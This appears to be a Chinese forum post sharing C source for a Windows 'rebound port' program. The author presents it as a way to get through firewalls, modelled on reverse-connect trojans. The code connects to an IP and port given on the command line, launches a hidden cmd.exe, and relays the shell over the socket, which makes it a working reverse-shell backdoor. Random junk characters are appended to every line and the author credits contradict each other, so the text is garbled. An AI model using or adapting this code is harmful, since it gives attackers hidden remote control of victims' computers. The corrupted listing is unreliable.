这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >sWp?
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/* ============================== 4:|S` jm
Rebound port in Windows NT vH#huZA?7
By wind,2006/7 f>W-
===============================*/ QV{}K
#include 'R
c,Mq'
#include $u9K+>.
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#pragma comment(lib,"wsock32.lib") ^
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void OutputShell(); o| #Qu8Lk
SOCKET sClient; kdl:Wt*4o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !Cr(Pe]
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void main(int argc,char **argv) *.!Np9l,V
{ 7cTV?nc
WSADATA stWsaData; CaL\fZ
int nRet; D'J0wT#
SOCKADDR_IN stSaiClient,stSaiServer; @>p<3_Y1
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if(argc != 3) ynE)Xdh
{ ~g5[$r-u-u
printf("Useage:\n\rRebound DestIP DestPort\n"); ^R# E:3e
return; ',:*f8Jk
} tD+9kf2
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WSAStartup(MAKEWORD(2,2),&stWsaData); Zg'Q>.:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^-,xE>3o
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stSaiClient.sin_family = AF_INET; Kjs.L!W
stSaiClient.sin_port = htons(0); jpO7'ivG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hRK/T7v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vSi.txV2
{ !*oi!ysU;O
printf("Bind Socket Failed!\n"); yF"1#{*y
return; g7OqX \
} JV]^zW
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stSaiServer.sin_family = AF_INET; Z yE `/J'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); A'jP7P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *a #rM"6P
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |j#C|V%kV
{ IW@PF7
printf("Connect Error!"); E0MGRI"me
return; M#As0~y
} DX"xy
OutputShell(); f"qga/
} o1FF"tLkN
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void OutputShell() vK_?<>
{ )6|yb65ZUX
char szBuff[1024]; 1:f9J
SECURITY_ATTRIBUTES stSecurityAttributes; Gu2P\I2zx
OSVERSIONINFO stOsversionInfo; %jJ>x3$F
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3b+d"`Y^S
STARTUPINFO stStartupInfo; J|w\@inQ
char *szShell; Qzlo'e1
PROCESS_INFORMATION stProcessInformation; \H=&`?
unsigned long lBytesRead; G-?d3n
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &:, dJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b+f'[;
stSecurityAttributes.lpSecurityDescriptor = 0; 34d3g
stSecurityAttributes.bInheritHandle = TRUE; &8] d }-e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %=/)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BI $
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 't6V:X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
^V#@QPK9
stStartupInfo.wShowWindow = SW_HIDE; hA33K #bC
stStartupInfo.hStdInput = hReadPipe; 49w=XJ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )w0AC"2O~
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GetVersionEx(&stOsversionInfo); ~fT_8z
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switch(stOsversionInfo.dwPlatformId) 3AsT
{ unBy&?&p
case 1: D?0zhU
szShell = "command.com"; D,g1<:<
break; 2EfF=Fm>
default: C@bm
szShell = "cmd.exe"; aEWWFN
break; <oo
} [&nh5|f
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "V$Bnz\n
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send(sClient,szMsg,77,0); Qbyv{/
while(1) 1f8GW
{ tWoh''@#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H8`(O"V
if(lBytesRead) QNxl/y\l0
{ Q~j`YmR|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a)#1{JaoY
send(sClient,szBuff,lBytesRead,0); tc!wLnhG
} "B8"_D&
else W@Lu;g.Yc
{ WN_pd%m
lBytesRead=recv(sClient,szBuff,1024,0); {FG|\nPw
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^4`Px/&
} &ZX{R#[L
} r?*NhLG;
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return; pTyi!:g3W
}